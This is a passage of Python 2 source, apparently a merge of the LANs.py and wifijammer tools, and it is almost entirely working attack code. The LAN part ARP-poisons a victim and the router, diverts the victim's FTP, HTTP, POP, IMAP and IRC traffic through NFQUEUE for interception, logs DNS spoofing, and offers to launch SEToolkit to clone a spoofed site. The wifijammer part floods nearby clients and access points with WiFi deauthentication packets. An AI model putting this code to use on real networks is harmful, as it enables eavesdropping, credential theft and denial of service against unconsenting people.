print G + '[!] Sent spoofed packet for ' + W + self.args.dnsspoof + G + ' to ' + W + rIP
logger.write('[!] Sent spoofed packet for ' + self.args.dnsspoof + G + ' to ' + rIP + '\n')
elif self.args.dnsall:
print G + '[!] Sent spoofed packet for ' + W + dns_layer[DNSQR].qname[:-1] + G + ' to ' + W + rIP
logger.write('[!] Sent spoofed packet for ' + dns_layer[DNSQR].qname[:-1] + ' to ' + rIP + '\n')
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
class Queued(object):
def __init__(self, args):
self.q = nfqueue.queue()
self.q.set_callback(Parser(args).start)
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000)
reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data'
def fileno(self):
return self.q.get_fd()
def doRead(self):
self.q.process_pending(500) # if I lower this to, say, 5, it hurts injection's reliability
def connectionLost(self, reason):
reactor.removeReader(self)
def logPrefix(self):
return 'queued'
class active_users():
IPandMAC = []
start_time = time.time()
current_time = 0
monmode = ''
def pkt_cb(self, pkt):
if pkt.haslayer(Dot11):
pkt = pkt[Dot11]
if pkt.type == 2:
addresses = [pkt.addr1.upper(), pkt.addr2.upper(), pkt.addr3.upper()]
for x in addresses:
for y in self.IPandMAC:
if x in y[1]:
y[2] = y[2] + 1
self.current_time = time.time()
if self.current_time > self.start_time + 1:
self.IPandMAC.sort(key=lambda x: float(x[2]), reverse=True) # sort by data packets
os.system('/usr/bin/clear')
print '[*] ' + T + 'IP address' + W + ' and ' + R + 'data packets' + W + ' sent/received'
print '---------------------------------------------'
for x in self.IPandMAC:
if len(x) == 3:
ip = x[0].ljust(16)
data = str(x[2]).ljust(5)
print T + ip + W, R + data + W
else:
ip = x[0].ljust(16)
data = str(x[2]).ljust(5)
print T + ip + W, R + data + W, x[3]
print '\n[*] Hit Ctrl-C at any time to stop and choose a victim IP'
self.start_time = time.time()
def users(self, IPprefix, routerIP):
print '[*] Running ARP scan to identify users on the network; this may take a minute - [nmap -sn -n %s]' % IPprefix
iplist = []
maclist = []
try:
nmap = Popen(['nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
nmap = nmap.communicate()[0]
nmap = nmap.splitlines()[2:-1]
except Exception:
print '[-] Nmap ARP ping failed, is nmap installed?'
for x in nmap:
if 'Nmap' in x:
pieces = x.split()
nmapip = pieces[len(pieces) - 1]
nmapip = nmapip.replace('(', '').replace(')', '')
iplist.append(nmapip)
if 'MAC' in x:
nmapmac = x.split()[2]
maclist.append(nmapmac)
zipped = zip(iplist, maclist)
self.IPandMAC = [list(item) for item in zipped]
# Make sure router is caught in the arp ping
r = 0
for i in self.IPandMAC:
i.append(0)
if r == 0:
if routerIP == i[0]:
i.append('router')
routerMAC = i[1]
r = 1
if r == 0:
exit('[-] Router MAC not found. Exiting.')
# Do nbtscan for windows netbios names
print '[*] Running nbtscan to get Windows netbios names - [nbtscan %s]' % IPprefix
try:
nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
nbt = nbt.communicate()[0]
nbt = nbt.splitlines()
nbt = nbt[4:]
except Exception:
print '[-] nbtscan error, are you sure it is installed?'
for l in nbt:
try:
l = l.split()
nbtip = l[0]
nbtname = l[1]
except Exception:
print '[-] Could not find any netbios names. Continuing without them'
if nbtip and nbtname:
for a in self.IPandMAC:
if nbtip == a[0]:
a.append(nbtname)
# Start monitor mode
print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']'
try:
promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
promisc = promiscSearch.communicate()[0]
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
self.monmode = monmodeSearch.group(1)
except Exception:
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
#Print all the variables
def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[*] Active interface: " + interface
print "[*] DHCP server: " + DHCPsrvr
print "[*] DNS server: " + dnsIP
print "[*] Local domain: " + local_domain
print "[*] Router IP: " + routerIP
print "[*] Victim IP: " + victimIP
logger.write("[*] Router IP: " + routerIP + '\n')
logger.write("[*] victim IP: " + victimIP + '\n')
#Enable IP forwarding and flush possibly conflicting iptables rules
def setup(victimMAC):
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
# Just throw packets that are from and to the victim into the reactor
os.system(
'/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system(
'/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system(
'/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system(
'/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
# To catch DNS packets you gotta do prerouting rather than forward for some reason?
os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as ipf:
ipf.write('1\n')
print '[*] Enabled IP forwarding'
return ipf.read()
# Start threads
def threads(args):
rt = Thread(target=reactor.run,
args=(False,)) #reactor must be started without signal handling since it's not in the main thread
rt.daemon = True
rt.start()
if args.driftnet:
dr = Thread(target=os.system,
args=('/usr/bin/xterm -e /usr/bin/driftnet -i ' + interface + ' >/dev/null 2>&1',))
dr.daemon = True
dr.start()
if args.dnsspoof and not args.setoolkit:
setoolkit = raw_input(
'[*] You are DNS spoofing ' + args.dnsspoof + ', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ')
if setoolkit == 'y':
print '[*] Starting SEtoolkit. To clone ' + args.dnsspoof + ' hit options 1, 2, 3, 2, then enter ' + args.dnsspoof
try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True
se.start()
except Exception:
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
if args.nmapaggressive:
print '[*] Starting ' + R + 'aggressive scan [nmap -e ' + interface + ' -T4 -A -v -Pn -oN ' + victimIP + ']' + W + ' in background; results will be in a file ' + victimIP + '.nmap.txt'
try:
n = Thread(target=os.system, args=(
'nmap -e ' + interface + ' -T4 -A -v -Pn -oN ' + victimIP + '.nmap.txt ' + victimIP + ' >/dev/null 2>&1',))
n.daemon = True
n.start()
except Exception:
print '[-] Aggressive Nmap scan failed, is nmap installed?'
if args.setoolkit:
print '[*] Starting SEtoolkit'
try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True
se.start()
except Exception:
print '[-] Could not open SEToolkit, continuing without it.'
def pcap_handler(args):
global victimIP
bad_args = [args.dnsspoof, args.beef, args.code, args.nmap, args.nmapaggressive, args.driftnet, args.interface]
for x in bad_args:
if x:
exit(
'[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
if args.pcap:
if args.ipaddress:
victimIP = args.ipaddress
pcap = rdpcap(args.pcap)
for payload in pcap:
Parser(args).start(payload)
exit('[-] Finished parsing pcap file')
else:
exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]')
else:
exit(
'[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
# Cleans up if Ctrl-C is caught
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
logger.close()
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
forward.write(ipf)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5)
#################################
####End LANs.py Code#############
################################
################################
#####Start wifijammer Code######
###############################
clients_APs = []
APs = []
lock = Lock()
monitor_on = None
mon_MAC = ""
first_pass = 1
def wifijammerMain(args):
confirmJam = raw_input("Are you sure you want to jam WiFi? This may be illegal in your area. (y/n)")
if "n" in confirmJam:
exit("Program cancelled.")
print("Ok. Jamming.")
mon_iface = get_mon_iface(args)
conf.iface = mon_iface
mon_MAC = mon_mac(mon_iface)
# Start channel hopping
hop = Thread(target=channel_hop, args=(mon_iface, args))
hop.daemon = True
hop.start()
signal.signal(signal.SIGINT, stop)
try:
sniff(iface=mon_iface, store=0, prn=cb)
except Exception as msg:
remove_mon_iface(mon_iface)
print '\n[' + R + '!' + W + '] Closing'
sys.exit(0)
def get_mon_iface(args):
global monitor_on
monitors, interfaces = iwconfig()
if args.interface:
monitor_on = True
return args.interface
if len(monitors) > 0:
monitor_on = True
return monitors[0]
else:
# Start monitor mode on a wireless interface
print '[' + G + '*' + W + '] Finding the most powerful interface...'
interface = get_iface(interfaces)
monmode = start_mon_mode(interface)
return monmode
def iwconfig():
monitors = []
interfaces = {}
DN = open(os.devnull, 'w')
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if len(line) == 0: continue # Isn't an empty string
if line[0] != ' ': # Doesn't start with space
wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
if not wired_search: # Isn't wired
iface = line[:line.find(' ')] # is the interface
if 'Mode:Monitor' in line:
monitors.append(iface)
elif 'IEEE 802.11' in line:
if "ESSID:\"" in line:
interfaces[iface] = 1
else:
interfaces[iface] = 0
return monitors, interfaces
def get_iface(interfaces):
scanned_aps = []
DN = open(os.devnull, 'w')
if len(interfaces) < 1:
sys.exit('[' + R + '-' + W + '] No wireless interfaces found, bring one up and try again')
if len(interfaces) == 1:
for interface in interfaces:
return interface
# Find most powerful interface
for iface in interfaces:
count = 0
proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if ' - Address:' in line: # first line in iwlist scan for a new AP
count += 1
scanned_aps.append((count, iface))
print '[' + G + '+' + W + '] Networks discovered by ' + G + iface + W + ': ' + T + str(count) + W
try:
interface = max(scanned_aps)[1]
print '[' + G + '+' + W + '] ' + interface + " chosen. Is this ok? [Enter=yes] "
input = raw_input()
if input == "" or input == "y" or input == "Y" or input.lower() == "yes":
return interface
else:
interfaceInput = raw_input("What interface would you like to use instead? ")
if interfaceInput in interfaces:
return interfaceInput
else:
print '[' + R + '!' + W + '] Exiting: Invalid Interface!'
except Exception as e:
for iface in interfaces:
interface = iface
print '[' + R + '-' + W + '] Minor error:', e
print ' Starting monitor mode on ' + G + interface + W
return interface
def start_mon_mode(interface):
print '[' + G + '+' + W + '] Starting monitor mode off ' + G + interface + W
try:
os.system('ifconfig %s down' % interface)
os.system('iwconfig %s mode monitor' % interface)
os.system('ifconfig %s up' % interface)
return interface
except Exception:
sys.exit('[' + R + '-' + W + '] Could not start monitor mode')
def remove_mon_iface(mon_iface):
os.system('ifconfig %s down' % mon_iface)
os.system('iwconfig %s mode managed' % mon_iface)
os.system('ifconfig %s up' % mon_iface)
def mon_mac(mon_iface):
'''
http://stackoverflow.com/questions/159137/getting-mac-address
'''
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
print '[' + G + '*' + W + '] Monitor mode: ' + G + mon_iface + W + ' - ' + O + mac + W
return mac
def channel_hop(mon_iface, args):
'''
First time it runs through the channels it stays on each channel for 5 seconds
in order to populate the deauth list nicely. After that it goes as fast as it can
'''
global monchannel, first_pass
DN = open(os.devnull, 'w')
channelNum = 0
err = None
while 1:
if args.channel:
with lock:
monchannel = args.channel
else:
channelNum += 1
if channelNum > 11:
channelNum = 1
with lock:
first_pass = 0
with lock:
monchannel = str(channelNum)
proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
for line in proc.communicate()[1].split('\n'):
if len(line) > 2: # iw dev shouldnt display output unless there's an error
err = '[' + R + '-' + W + '] Channel hopping failed: ' + R + line + W
output(err, monchannel)
if args.channel:
time.sleep(.05)
else:
# For the first channel hop thru, do not deauth
if first_pass == 1:
time.sleep(1)
continue
deauth(monchannel)
def deauth(monchannel):
'''
addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
multi-APs to one gateway. Constantly scans the clients_APs list and
starts a thread to deauth each instance
'''
pkts = []
if len(clients_APs) > 0:
with lock:
for x in clients_APs:
client = x[0]
ap = x[1]
ch = x[2]
# Can't add a RadioTap() layer as the first layer or it's a malformed
# Association request packet?
# Append the packets to a new list so we don't have to hog the lock
# type=0, subtype=12?
if ch == monchannel:
deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth()
deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client) / Dot11Deauth()
pkts.append(deauth_pkt1)
pkts.append(deauth_pkt2)
if len(APs) > 0:
if not args.directedonly:
with lock:
for a in APs:
ap = a[0]
ch = a[1]
if ch == monchannel:
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth()
pkts.append(deauth_ap)
if len(pkts) > 0:
# prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
if not args.timeinterval:
args.timeinterval = 0
if not args.packets:
args.packets = 1
for p in pkts:
send(p, inter=float(args.timeinterval), count=int(args.packets))
def output(err, monchannel):
os.system('clear')
mon_iface = get_mon_iface(args)
if err:
print err
else:
print '[' + G + '+' + W + '] ' + mon_iface + ' channel: ' + G + monchannel + W + '\n'
if len(clients_APs) > 0:
print ' Deauthing ch ESSID'
# Print the deauth list
with lock:
for ca in clients_APs:
if len(ca) > 3:
print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(
2) + ' - ' + T + ca[3] + W
else:
print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2]
if len(APs) > 0:
print '\n Access Points ch ESSID'
with lock:
for ap in APs:
print '[' + T + '*' + W + '] ' + O + ap[0] + W + ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W
print ''
def noise_filter(skip, addr1, addr2):
# Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:',
mon_MAC]
if skip:
ignore.append(skip)
for i in ignore:
if i in addr1 or i in addr2:
return True
def cb(pkt):
'''
Look for dot11 packets that aren't to or from broadcast address,
are type 1 or 2 (control, data), and append the addr1 and addr2
to the list of deauth targets.
'''
global clients_APs, APs
# return these if's keeping clients_APs the same or just reset clients_APs?
# I like the idea of the tool repopulating the variable more
if args.maximum:
if args.noupdate:
if len(clients_APs) > int(args.maximum):
return
else:
if len(clients_APs) > int(args.maximum):
with lock:
clients_APs = []
APs = []
# We're adding the AP and channel to the deauth list at time of creation rather
# than updating on the fly in order to avoid costly for loops that require a lock
if pkt.haslayer(Dot11):
if pkt.addr1 and pkt.addr2:
# Filter out all other APs and clients if asked
if args.accesspoint:
if args.accesspoint not in [pkt.addr1, pkt.addr2]:
return
# Check if it's added to our AP list
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
APs_add(clients_APs, APs, pkt, args.channel)
# Ignore all the noisy packets like spanning tree
if noise_filter(args.skip, pkt.addr1, pkt.addr2):
return
# Management = 1, data = 2
if pkt.type in [1, 2]:
clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
def APs_add(clients_APs, APs, pkt, chan_arg):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
try:
# Thanks to airoscapy for below
ap_channel = str(ord(pkt[Dot11Elt:3].info))
# Prevent 5GHz APs from being thrown into the mix
chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
if ap_channel not in chans:
return
if chan_arg:
if ap_channel != chan_arg:
return
except Exception as e:
return
if len(APs) == 0:
with lock:
return APs.append([bssid, ap_channel, ssid])
else:
for b in APs:
if bssid in b[0]:
return
with lock:
return APs.append([bssid, ap_channel, ssid])
def clients_APs_add(clients_APs, addr1, addr2):
if len(clients_APs) == 0:
if len(APs) == 0:
with lock:
return clients_APs.append([addr1, addr2, monchannel])
else:
AP_check(addr1, addr2)
# Append new clients/APs if they're not in the list
else:
for ca in clients_APs:
if addr1 in ca and addr2 in ca:
return
if len(APs) > 0:
return AP_check(addr1, addr2)
else:
with lock:
return clients_APs.append([addr1, addr2, monchannel])
def AP_check(addr1, addr2):
for ap in APs:
if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
with lock:
return clients_APs.append([addr1, addr2, ap[1], ap[2]])
def stop(signal, frame):
if monitor_on:
sys.exit('\n[' + R + '!' + W + '] Closing')
else:
remove_mon_iface(mon_iface)
sys.exit('\n[' + R + '!' + W + '] Closing')
#############################
#####End wifijammer Code#####
#############################
if __name__ == "__main__":
if not os.geteuid() == 0:
exit("\nPlease run as root\n")
logger = open('LANspy.log.txt', 'w+')
DN = open(os.devnull, 'w')
args = parse_args()
if args.pcap:
pcap_handler(args)
exit('[-] Finished parsing pcap file')
if args.jam:
wifijammerMain(args)
else:
LANsMain(args)
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